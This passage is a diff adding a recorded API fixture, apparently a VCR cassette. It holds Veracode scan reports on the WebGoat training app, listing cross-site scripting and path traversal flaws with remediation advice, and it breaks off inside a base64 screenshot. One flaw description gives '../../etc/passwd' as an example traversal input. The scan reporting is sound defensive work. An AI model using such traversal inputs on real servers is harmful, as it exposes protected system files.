+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:28:26 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:28:30 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:28:30 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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